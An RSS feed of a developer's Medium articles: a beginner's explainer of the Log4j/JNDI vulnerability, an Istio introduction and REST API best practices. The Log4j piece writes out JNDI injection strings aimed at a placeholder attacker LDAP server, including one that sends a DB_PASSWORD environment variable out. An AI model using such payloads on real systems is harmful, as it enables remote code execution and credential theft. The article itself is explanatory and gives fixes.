<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhishek Kapoor on Medium]]></title>
        <description><![CDATA[Stories by Abhishek Kapoor on Medium]]></description>
        <link>https://medium.com/@devdiaries?source=rss-ba76cfcdba2a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*pQtWp7KyMarhsGuv.jpg</url>
            <title>Stories by Abhishek Kapoor on Medium</title>
            <link>https://medium.com/@devdiaries?source=rss-ba76cfcdba2a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 12:44:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@devdiaries/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Log4j security vulnerability for dummies]]></title>
            <link>https://levelup.gitconnected.com/log4j-security-vulnerability-for-dummies-1a3e1269aac0?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a3e1269aac0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[log4j]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Fri, 07 Jan 2022 03:08:51 GMT</pubDate>
            <atom:updated>2022-01-07T03:08:51.831Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMtZW4DwmbvWEX0ZTe3SGg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Markus Spiske</a> on <a href="https://unsplash.com/s/photos/hack?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>If you are working in the software industry you would have definitely heard about the security vulnerability that was found in the log4j library. Even if you are not involved with the software industry there is a great chance you still have heard about the vulnerability since it has been covered widely by different news outlets. In this article, I will try to simplify the log4j vulnerability which was found first in Minecraft and sent shockwaves around the entire software industry.</p><h4>What is log4j?</h4><p>Before we discuss log4j, one needs to know what is logging. Well by logging one means is, keeping a record of activities done by the application when it is in running state, activity can be anything, maybe you want to record all inputs for API as soon as API is triggered or maybe you want to have a record of what was the response of API and how much time it took and so much more. Logging is one of the most critical features to maintain live software. If proper logging is there we can find and fix the bug in no time.</p><p>Log4j is an open-source library that is written in Java and is used extensively for purpose of logging. If one is using any java application there is a high chance that it would be using log4j internally. You may be wondering why we need a library for logging. I mean if one just wants to record activities, one can use just “System.out.println” and print whatever one wants. Well, no one is stopping you from using “System.out.println” but it will print logs only on the console, or if you use “System.out()” you can redirect the output of “System.out.println” from the console to file. However, most of the time for logging you will need some additional features like you need to write logs to file and create a new log file every day or also maybe you want to have different severity like in production you want to print only important events but in the testing environment, you need to print very fine logs to find bugs easily. Technically speaking, it is possible to implement everything oneself if one wants to, but why one wants to reinvent the wheel. Logs4j provides a very nice interface that provides nearly all the features you can think about.</p><p>One of the many features that log4j supports is that of “<a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Message Lookup Substitution</a>”. In this feature log4j process, a string which is in a specific format that is ${prefix: variable name}; where according to prefix log4j identifies that variable name should be evaluated in which specific context. Just as an example, if you want to print the value of environment variable DB_USER, you can simply print it by something like:</p><pre>logger.error(&quot;Database user name is :{}&quot;,&quot;${env:DB_USER}&quot;)</pre><p>Log4j provides many different prefixes for different contexts which are shown in the table below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9BFBL_V4KwOqGISs0--DA.png" /></figure><p>Are you wondering, If logging is such an important thing why do we have to depend on some external opensource library? Shouldn’t Java provide something out of the box?</p><p>Well, it turns out Java already has an inbuilt framework for logging named <a href="https://docs.oracle.com/javase/6/docs/technotes/guides/logging/">Java Logging API</a> also sometimes referred to as JUL. One of the biggest reasons we don’t use JUL is that it is significantly slower in performance.</p><h4>What is JNDI?</h4><p>Even the most advanced software developers have difficulty understanding JNDI. So I will just try to give you a basic idea of JNDI and some features of JNDI which will help you to understand log4j vulnerability. To begin with, according to Wikipedia:</p><blockquote>The <strong>Java Naming and Directory Interface</strong> (<strong>JNDI</strong>) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.</blockquote><p>In Simple words with help of JNDI, you can get objects from a remote location, somewhat like you get an object in response to REST API. JNDI provides multiple mechanisms to get objects from a remote location. Out of all mechanisms, we will focus on 2 mechanisms, namely RMI and LDAP, which allows developers to get java object through the <a href="https://docs.oracle.com/cd/E19396-01/817-7619/intro.html">directory</a> service. One fascinating feature which JNDI provides for both LDAP and RMI is that server can send the URL of a .class file instead of directly sending an object. I will not go into a lot of details like why this feature is there in JNDI and how does it internally works but you can read from <a href="https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html">here</a>. In short, If the object returned is of type “<a href="https://docs.oracle.com/javase/7/docs/api/javax/naming/Reference.html">javax.naming.Reference</a>” by saying LDAP server, then java can go load java class from a URL defined in object and can execute that class file in its JVM. This feature can be very dangerous if proper precaution is not followed. If somehow some malicious user can compromise the LDAP server to which your application is connecting to he can execute his program inside your server, resulting in <a href="https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/">Remote Code Execution</a>. It is very easy to start your own LDAP server which can force the application to execute any .class file of your liking, code for such LDAP server are readily available in GitHub one such example is <a href="https://github.com/mbechler/marshalsec">marshalsec</a>. I hight encourage you to go through the readme file of <a href="https://github.com/mbechler/marshalsec">marshalsec</a> repo.</p><p>Now you already know what is log4j and JNDI and also you know how JNDI can be used to compromise the security of your application.</p><p>Now, Enough with these boring explanations, you now know everything you need to understand log4j vulnerability. So let&#39;s just jump into the story of log4j.</p><p>Log4j is available as an open-source project since early 2001, and its active development was going on till 2005 or so. In 2006 a new project named “LogBack” appears which was said to be the successor of log4j and it was not only better in performance but also had a better quality of life. In 2012 log4j was suddenly revived, as some developers came together to rewrite the code of log4j and released an alpha edition of the library now named log4j2. 2 months later a beta version was also released and during this phase, a new feature was requested which asked for the support of <a href="https://issues.apache.org/jira/browse/LOG4J2-313">JNDI</a>. Are you wondering why this feature was requested? the use case mentioned in the user story is that you should be able to write logs related to a particular web context in different files. Now you may be wondering how JNDI will help it? to not confuse you, let’s leave it for some other day. However, you should know is that this feature is used only by a very small group of users. Anyways, let&#39;s continue, this feature was accepted and was added in the main code in July of 2013 and this is a feature that put the entire world on fire. With this feature added, something like below will run:</p><pre>logger.info(&quot;remote object {}&quot;,${jndi:ldap://URL_OF_LDAP_SERVER})</pre><p>There it is, now you know the vulnerability. Still confused? Well, imagine you have a webpage that has 1 input box which takes a string in input and searches in the database, and displays results on the webpage. Now it is very common practice to log input received from users. You will have something like that in your code.</p><pre>logger.info(&quot;Searching {} in database&quot;,inputString)</pre><p>Do you see the problem now? Still not? Say if someone put in the search box “${jndi:ldap://URL_OF_HIS_LDAP_SERVER}”. Now, log4j will try to connect with this URL of the LDAP server that the malicious user has provided. Now hacker can send an object of “<a href="https://docs.oracle.com/javase/7/docs/api/javax/naming/Reference.html">javax.naming.Reference</a>” type which will be pointing to the class he wants to execute on your machine. He can execute whatever he wants to do on your server? Opening a calculator? sure no problem; Installing any malware, sure it is also possible; Taking a reverse shell? can be done in a matter of minutes. You now know how dangerous this vulnerability is.</p><p>What? do you actually want to see a demo of someone actually using this vulnerability? No issues, watch this <a href="https://www.youtube.com/watch?v=7qoPDq41xhQ&amp;t=1056s">video</a>?</p><p>Ok, this looks very nasty vulnerability? and this JNDI thing is very dangerous? shouldn’t java just remove this feature? Well NO! Java provides backward compatibility, i.e that any code that was written years ago will work most of the time on the latest version of java without modifying even a single line. However, Java already knew that JNDI so they already released a patch for disabling loading of a .class file from any external URL. For RMI protocol, it was fixed, but there were still certain cases in LDAP by which remote code execution code could be done, so someone opened a <a href="https://bugzilla.redhat.com/show_bug.cgi?id=1639834">bug </a>for it. Finally, in java versions 11.0.1, 8u191, 7u201, and 6u211, loading of .class files from external URLs was disabled by default.</p><p>Well before you became too happy that you are using a java version in which remote code execution cannot be done, don’t be happy yet. If you are using the correct java version it can save you from the nastiest form of attack but your system is still vulnerable. You may be wondering how the system is still vulnerable if code cannot be executed. Let me give you a hint; java only disabled the loading of classes from external URLs. Still confused? well you still can connect with the LDAP server, you can get a response from the server if the object returned is of type “<a href="https://docs.oracle.com/javase/7/docs/api/javax/naming/Reference.html">javax.naming.Reference</a>” then java won’t load that class because that URL is not trusted. ok? so what is the issue? well, you can connect with the LDAP server is an issue. How? well in Input one can send something like “${jndi:ldap://URL_OF_LDAP_SERVER/${env: DB_PASSWORD}}”. Now when java will call the LDAP server it will also send the value of the environment variable DB_PASSWORD. If you ever worked in the IT industry you know we store sometimes very critical information in form of environment variables like database details. if such critical information is leaked it poses a very big security challenge. So what is the remedy?</p><p>According to log4j maintainers, the main fix is to update the Log4j version to 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later). If updating the version is not possible just remove the class which do JNDI lookup “<em>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</em>”.</p><h3><strong>Conclusion</strong></h3><p>Log4j vulnerability taught us, even though open-source libraries are great, as there are hundreds of developers working on a particular library but still there can be bugs in it. However, even everyone can see source code but some bugs are fixed only if a person with correct knowledge is looking at the right lines of code. So should we stop using open source libraries? definitely not!</p><p>Moreover, As humans we have a tendency to throw mistakes on others, many will say a feature that will be used by only a small set of users shouldn’t have been accepted. However, we don’t know actually why developers accepted the change, maybe they thought that this will bring more value to users of the library. Moreover, one should also remember people who are working on these open source libraries are paid by no one. Big corporate house earns million by using these libraries, shouldn’t these corporate houses pay some money for services they are using.</p><p>At the end I ll leave you with some questions, log4j vulnerability existed from 2013 and was not found until end of 2021. can we assume no one knew about existence of this vulnerability? or maybe some organizations/govement agencies already knew about it. How many more such vulnerability exists in various different open source libraries?</p><h3>References</h3><ul><li><a href="https://research.nccgroup.com/2021/12/12/log4j-jndi-be-gone-a-simple-mitigation-for-cve-2021-44228/">log4j-jndi-be-gone: A simple mitigation for CVE-2021-44228</a></li><li><a href="https://research.checkpoint.com/2021/the-laconic-log4shell-faq/">The Laconic Log4Shell FAQ - Check Point Research</a></li><li><a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">Exploiting JNDI Injections in Java | Veracode</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a3e1269aac0" width="1" height="1" alt=""><hr><p><a href="https://levelup.gitconnected.com/log4j-security-vulnerability-for-dummies-1a3e1269aac0">Log4j security vulnerability for dummies</a> was originally published in <a href="https://levelup.gitconnected.com/">Level Up Coding</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Quick Introduction to Istio]]></title>
            <link>https://levelup.gitconnected.com/a-quick-introduction-to-istio-ffb486221f1f?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffb486221f1f</guid>
            <category><![CDATA[istio]]></category>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Tue, 31 Aug 2021 17:25:36 GMT</pubDate>
            <atom:updated>2021-08-31T17:25:36.547Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YECeOxlko9KoOJNw8RNm3A.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@alinnnaaaa?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Alina Grubnyak</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>Microservices are extremely popular these days. In Microservice architecture we break our big monolith system into many small microservices. All microservices are loosely coupled and can be updated/deployed independently from each other. Microservice solves a lot of problems and makes our lives much easier, but it also adds new complexities to our system. One of the biggest complexity microservice add is an increase in communication between different microservices. Many network issues arise due to an increase in communication, some of them are listed below:</p><ol><li>Managing Timeout and Retry Logic.</li><li>Securing Communication by encrypting data</li><li>Observing the interaction between different services.</li><li>Traffic management</li></ol><p>Of course, we can solve all these issues in microservice logic itself but it will create a lot of redundant code. This is where a service mesh comes to the rescue.</p><h3>What is a Service Mesh?</h3><p>In simple language, the Service mesh is a way to control how different microservices will interact with one another. Service mesh doesn’t really establish connectivity between different microservices rather it contains policies and control which govern how two different microservices can interact with one another. A service mesh can allow you to observe, secure, and control your network with very little or no change of code in your running microservices. Istio is an open-source project co-founded by Google, IBM, and Lyft.</p><h3>How Istio Works?</h3><p>Istio really doesn&#39;t add any new functionality to the application, but it actually creates rules that specify how one microservice will interact with another. Istio extracts the logic governing service to service communication from microservice and abstracts it to the infrastructure layer. Istio utilizes proxies to extract communication rules out of microservice.</p><p>Istio contains 2 components: the data plane and the control plane.</p><h4>Data plane</h4><p>Istio’s data place intercepts all packets on the network and is responsible for authentication, authorization, generation of observable signals, health checking, load balancing, and routing. The Data plane is responsible for all communication happening inside clusters and both inbound and outbound traffic. Application is not aware of the existence of a data plane in the network and service proxy is transparently deployed with all running services in the cluster. In the below Figures, you can see how proxies are added when Istio is adopted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Toknk68Pff6DYknesj81gw.png" /><figcaption>Fig 1: Without utilizing Istio (source:<a href="https://istio.io/latest/about/service-mesh/">https://istio.io/latest/about/service-mesh/</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_0qEsAMaTnKjp6X0IHN7w.png" /><figcaption>Fig 2 After utilizing Istio (source:<a href="https://istio.io/latest/about/service-mesh/">https://istio.io/latest/about/service-mesh/</a>)</figcaption></figure><p>Istio uses a special proxy known as Envoy proxy. Envoy proxy is deployed as a sidecar container along with all services. Egress and ingress traffic to the application is configured to flow through the sidecar proxy. Since all traffic is routed through envoy proxy it enables it to gather metrics, control traffic, evaluate policies and encrypt data transfer. Istio adds to many of Envoy’s built-in features, such as load balancing, TLS termination, circuit breakers, health checking, HTTP/2, gRPC, and much more.</p><h4>Control Plane</h4><p>The control plane is a component that manages and secures the data plane. Fig 3 shows the architecture of Istio.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*BBCo_Qavx_YDIX3GFppr8g.png" /><figcaption>Fig 3 Istio Architecture (source:<a href="https://istio.io/v1.4/docs/ops/deployment/architecture/">https://istio.io/v1.4/docs/ops/deployment/architecture/</a>)</figcaption></figure><p>From the architecture diagram, we can see there are many components of the control plane. let&#39;s discuss all these components 1 by 1.</p><p><strong><em>Pilot:- </em></strong>Pilot is a component that converts high-level routing rules that controls traffic behavior into envoy-specific configurations, which are then propagated to envoy sidecars. The pilot is primarily responsible for traffic management, and also handles service discovery as well as resiliency features such as circuit breaking and retry logic.</p><p><strong><em>Galley:- </em></strong>Galley is responsible to validate, ingest, process and distribute istio’s configuration to other components. The galley is the component that reads all configurations of istio from the platform such as Kubernetes and helps to insulate other components from details of obtaining configuration from the platform.</p><p><strong><em>Citadel:-</em></strong> Citadel provides various security-related capabilities. It provides capabilities of authentication and identity management to different services. It can also encrypt plain text communication between multiple services with help of mTLS.</p><p><strong><em>Mixer:- </em></strong>Mixer abstracts infrastructure backend from rest of istio components. The main responsibilities of the mixer are:</p><ol><li>quota management(such as rate limits)</li><li>precondition checking(such as whether the source service is on the destination service’s allow list)</li><li>telemetry reporting(such as sending logging data to zipkin and displaying through grafana.).</li></ol><p>The mixer has been deprecated from istio 1.6 and is replaced with <a href="https://istio.io/latest/docs/concepts/wasm/">web assembly</a>.</p><h3><strong><em>Conclusion</em></strong></h3><p>Istio does a lot of heavy lifting for your application. Istio helps to centralize security, traffic management, and observability. Istio brings tools to the operation team to manage network concerns on behalf of the development team and make the development team focus more on the business of the application. When your system has many microservices then service mesh like istio can greatly reduce redundant configuration on the microservice level and keep it centralized at the system level.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffb486221f1f" width="1" height="1" alt=""><hr><p><a href="https://levelup.gitconnected.com/a-quick-introduction-to-istio-ffb486221f1f">A Quick Introduction to Istio</a> was originally published in <a href="https://levelup.gitconnected.com/">Level Up Coding</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[9 Best Practices to Know Before Creating Your Next Restful System]]></title>
            <link>https://javascript.plainenglish.io/9-best-practices-to-know-before-creating-your-next-restful-system-e5226a2a6df9?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5226a2a6df9</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[back-end-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Fri, 14 May 2021 06:16:25 GMT</pubDate>
            <atom:updated>2021-05-14T06:16:25.788Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIKLeDkfJBYugKiD5OSBhg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@sincerelymedia?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Sincerely Media</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>REST Architecture is the most common architecture to create interactive API for Web services. REST was first presented by Roy Fielding in 2000. After 20 years, REST API is being used nearly in all enterprises.</p><p>REST architecture doesn’t provide any guidelines or standards for API development. All Restful API just needs to follow 6 constraints which were created by Roy Fielding. Most of you will be aware of those 6 constraints: Client-Server architecture, Cacheability, Statelessness, Layered system, Uniform interface, and code on demand.</p><p>As there are no concrete guidelines for designing Rest API, we have to design Rest API very carefully, such that in the future, we don’t have any problems related to security, performance, or ease of use.</p><p>Since REST has been there for 20 years, many people have written about the best practices for designing REST APIs. This article will look at the 9 most important practices for creating a rest API.</p><h3>1) Always use nouns in place of verbs in the Rest endpoint</h3><p>In REST, the verb is already present in the URI. One should always avoid introducing a verb in a URI of REST API. When you invoke a rest endpoint it is always mandatory to define the HTTP method with the request. Common HTTP methods are below:</p><pre>POST: Create a new data in server<br>GET: Retrieve data from server<br>PUT: Update resource data in server<br>PATCH:Update partial resource data in server<br>DELETE: Delete data from server</pre><p>Basically, these HTTP methods already introduce verbs in URI so it doesn’t make sense to introduce another verb. Take an example for the endpoint to create a post in the blog service. We can create POST URIs like the below two endpoints.</p><pre><a href="http://localhost:8081/v1/createnewblog">http://localhost:8081/v1/createnewblog</a><br><a href="http://localhost:8081/v1/createnewblog">http://localhost:8081/v1/</a>blogs</pre><p>Now we are calling this POST method, so it is already known we are creating a blog, adding “createnewblog” in the URL just doesn’t help. Additionally adding a verb in the URL just confuse the user. Suppose if we choose to add “createnewblog” in endpoint then what will endpoint to retrieve blog, will it be “<a href="http://localhost:8081/v1/createnewblog">http://localhost:8081/v1/getblog</a>”? If we don&#39;t use verb it will be really easy, if we need to retrieve the product we can use the GET method on URL http://localhost:8081/v1/blogs/{blog Id}</p><h3>2) Logical nesting on endpoints is preferable but not mandatory</h3><p>I have read at many places that when you are designing endpoints for rest, it is always advised that you should group resources that contain associated information. It basically means if some object contains another object it should be reflected in the URL.</p><p>For example, every blog can have comments on it. So to retrieve comments of a particular blog endpoint will be like.</p><pre>http://localhost:8081/v1/blogs/1/comments/</pre><p>You may also have to retrieve comments done by users, So for that, you have to create another URI. This is one of the problems with logical nesting in URI, you have to create a redundant URI to get a list of comments. Nested URI can also become very long, say you want to get all employees working in company XYZ and in department ABC. URI for the request will be something like:</p><pre>http://localhost:8081/v1/companies/XYZ/departments/ABC/employees</pre><p>Generally, when your data is strictly hierarchical, not too deep nested and relationships don’t change too often in such cases nested URI is preferred. In other cases, it is not mandatory to use nesting in URI. You can check the pros and cons of using the nested resources in URI <a href="https://www.moesif.com/blog/technical/api-design/REST-API-Design-Best-Practices-for-Sub-and-Nested-Resources/">here </a>and choose accordingly.</p><h3>3) Handle errors gracefully and return standard error codes</h3><p>It’s very important to handle errors gracefully. It really doesn’t make sense that if you receive the wrong request then the entire service will go down. The server should always throw correct errors such that the user can know what is problem. All Rest APIs should return the correct HTTP response code like status codes 4** are reserved for client errors and 5** are reserved for server errors. Some common rest codes are below:</p><pre>400(Bad Request): It indicates something is wrong with request.<br>401(Unauthorized): It indicates user is not able to authenticate.<br>403(Forbidden): It indicates user don&#39;t have permission to access resource.<br>404(Not Found): It indicates unable to found resource.<br>500(Internal Server Error):<br>502(Bad Gateway):<br>503(Service Unavailable):</pre><p>Error handling shouldn’t be only limited to correct HTTP codes. In an error response, the correct description of the error should be also given along with the status code. For example in the below response, by just looking at the error response we can determine that we have not passed the customer id in the request.</p><pre>{<br>     &quot;error&quot;: {<br>         &quot;timeStamp&quot;: &quot;18-07-2017 06:49:25&quot;<br>         &quot;message&quot;: &quot;Mandatory Parameter Customer Id is missing from      Request.&quot;,      <br>         &quot;status&quot;: &quot;400&quot;,<br>         &quot;code&quot;: 0001<br>     } <br>}</pre><p>You can also add some other information in your error response like Facebook in its error response also sends trace id. One thing everyone should take care of is that all error responses should be identical for all REST API within an organization.</p><h3>4) Allow filtering, sorting, and pagination</h3><p>There will be times when your REST API will have a lot of data to send in response. For example, a user may want to get all blogs on a particular topic. There can be millions of such blogs. If you will return the whole list in 1 response, it can create a lot of problems — for example, you can experience out-of-memory exceptions. It’s always a must to support pagination. Users may also need to access only some subset of all blogs. Like user only wants to access posts created within a month. In such cases, filtering will help</p><p>Both filtering and pagination help us to increase the performance of an API. Users may also need to sort responses based on a particular field, So sorting should also be supported.</p><h3>5) Never Respond in plain Text</h3><p>Although it is not imposed by Rest, most of the time JSON goes hand to hand with REST. It is always advisable to respond to a JSON format request rather than plain text. However, just sending a response in JSON is not the only thing you have to do. You need to provide a Content-Type header too in response with value application/JSON. If you wish you can also use other formats in response like XML, but XML in response is not widely used as it requires additional processing.</p><h3>6) Never Compromise on the security of the endpoint</h3><p>All communication between client and server should be secured. Always try to enable TLS for your server, as it will secure your data in transit. With modern libraries, it is very easy to enable SSL.</p><p>We also need to enable proper role-based access control. After all, no one will like it his/her information can be accessed by other users. You should always give minimum permission to the user to perform the required action. For example, if some type of user can only search for resources then only permission required to invoke search API should be given. One should also always remember sending any sensitive data in URL is a big No. So you should never design a REST API that takes passwords in URI.</p><h3>7) Try To Adopt OpenAPI Specification</h3><p>According to the Official definition documentation of OpenAPI specification:</p><blockquote>The OpenAPI Specification (OAS) defines a standard, language-agnostic interface to RESTful APIs which allows both humans and computers to discover and understand the capabilities of the service without access to source code, documentation, or through network traffic inspection. When properly defined, a consumer can understand and interact with the remote service with a minimal amount of implementation logic.</blockquote><p>In OpenAPI rather than implementing API, first of all, a contract document is designed and agreed upon before development can even begin. This contract is mostly written in YAML files and we have various tools like swagger editor which allow you to easily edit and read the contents of YAML. Even all consumers of your API can generate a client kit with this contract only without requiring additional information.</p><p>OpenAPI comes with a lot of tools that will help you not only design your API but will help throughout the life cycle of your API. You can learn more about OpenAPI Specification <a href="https://swagger.io/specification/">here</a>.</p><h3>8) HATEOAS is your friend</h3><p>HATEOAS stands for Hypertext As The Engine Of Application State. Here hypertext refers to any content which contains links to other media such as video, audio, image, and text. In context to REST, HATEOAS means that in response we will have links to other resources in response. Just take the example of Github API, below is 1 sample response. In response, you can see there are many URIs for different resources.</p><pre>{<br>   &quot;pull_request&quot;: {<br>     &quot;patch_url&quot;: null,<br>     &quot;html_url&quot;: null,<br>     &quot;diff_url&quot;: null<br>   },<br>   &quot;created_at&quot;: &quot;2012-11-14T15:25:33Z&quot;,<br>   &quot;comments&quot;: 0,<br>   &quot;milestone&quot;: null,<br>   &quot;title&quot;: &quot;New logo&quot;,<br>   &quot;body&quot;: &quot;We should have one&quot;,<br>   &quot;user&quot;: {<br>     &quot;login&quot;: &quot;pengwynn&quot;,<br>     &quot;gravatar_id&quot;: &quot;7e19cd5486b5d6dc1ef90e671ba52ae0&quot;,<br>     &quot;avatar_url&quot;: &quot;<a href="https://secure.gravatar.com/avatar/7e19cd5486b5d6dc1ef90e671ba52ae0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png">https://secure.gravatar.com/avatar/7e19cd5486b5d6dc1ef90e671ba52ae0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png</a>&quot;,<br>     &quot;id&quot;: 865,<br>     &quot;url&quot;: &quot;<a href="https://api.github.com/users/pengwynn">https://api.github.com/users/pengwynn</a>&quot;<br>   },<br>   &quot;closed_at&quot;: null,<br>   &quot;updated_at&quot;: &quot;2012-11-14T15:25:33Z&quot;,<br>   &quot;number&quot;: 17,<br>   &quot;closed_by&quot;: null,<br>   &quot;html_url&quot;: &quot;<a href="https://github.com/pengwynn/api-sandbox/issues/17">https://github.com/pengwynn/api-sandbox/issues/17</a>&quot;,<br>   &quot;labels&quot;: [<br>     {<br>       &quot;color&quot;: &quot;ededed&quot;,<br>       &quot;name&quot;: &quot;design&quot;,<br>       &quot;url&quot;: &quot;<a href="https://api.github.com/repos/pengwynn/api-sandbox/labels/design">https://api.github.com/repos/pengwynn/api-sandbox/labels/design</a>&quot;<br>     }<br>   ],<br>   &quot;id&quot;: 8356941,<br>   &quot;assignee&quot;: null,<br>   &quot;state&quot;: &quot;open&quot;,<br>   &quot;url&quot;: &quot;<a href="https://api.github.com/repos/pengwynn/api-sandbox/issues/17">https://api.github.com/repos/pengwynn/api-sandbox/issues/17</a>&quot;<br> }</pre><p>These links help consumers of our API to further explore the resources of API. Like if you needed an avatar image of the user, you really don&#39;t need to go to documentation. Its URI is already present in the response, you just need to use that URI and fetch the image.</p><h3>9) Versioning</h3><p>Whenever you have to do a change in request or response structure, there is always a chance that you will break something for some client. In such instances, versioning can be a lifesaver. All changes in request and response should be created as a separate version for API. All consumers of your API can gradually move to a newer version of your API. Versioning is a much better approach than forcing all consumers to move to a new version of your API at the same time.</p><p>There are many ways to implement the version, the most popular being in which version is maintained in endpoints themselves. For example, in the below endpoint V1 is the version of your API.</p><pre><a href="http://localhost:8081/v1/createnewblog">http://localhost:8081/v1/</a>blogs/1/comments/</pre><p>When we maintain the version in the endpoint of REST API, it can complicate HATEOAS implementation as you have to add a version for all resources in response. The version can also be passed in the query string or even by creating a new custom header of Rest API. Again, both of these approaches also suffer as they will complicate HATEOAS implementation.</p><p>The one approach which is more HATEOAS friendly is passing information about the version in Accept header like below:</p><pre>GET <a href="https://localhost:8081/blogs/3">https://localhost:8081/blogs/3</a> HTTP/1.1 <br>Accept: application/vnd.medium.v1+json</pre><p>In the above, we are telling the server that clients want v1 of our API and the response should be in JSON format. The server will try its best to honor these demands and provide a response.</p><p>When choosing a correct versioning approach for your organization you should consider caching also. Versioning with help of URI and query string is more cache-friendly than the other 2 approaches. For the Custom header and customer header, you may have to write extra code to implement caching.</p><h3><strong>Conclusion</strong></h3><p>Rest API looks very simple at first sight but designing the perfect Rest API can be quite challenging. There are so many things to design a Rest API. It&#39;s highly recommended that you spend your time and efforts designing your API the first time so that you have to spend less time redesigning your API in the future.</p><p>If you have any doubt please feel free to comment on this article.</p><h3>REFERENCES</h3><ul><li><a href="https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/">Best practices for REST API design</a></li><li><a href="https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design">Web API design best practices - Azure Architecture Center</a></li><li><a href="https://www.moesif.com/blog/technical/api-design/REST-API-Design-Best-Practices-for-Sub-and-Nested-Resources/">REST API Design Best Practices for Sub and Nested Resources</a></li><li><a href="https://medium.com/hashmapinc/rest-good-practices-for-api-design-881439796dc9">REST: Good Practices for API Design</a></li></ul><p><em>More content at </em><a href="http://plainenglish.io/"><em>plainenglish.io</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5226a2a6df9" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/9-best-practices-to-know-before-creating-your-next-restful-system-e5226a2a6df9">9 Best Practices to Know Before Creating Your Next Restful System</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Patterns to know before migrating your monolith to microservices]]></title>
            <link>https://levelup.gitconnected.com/patterns-to-know-before-migrating-your-monolith-to-microservices-72fcbcc7846e?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/72fcbcc7846e</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
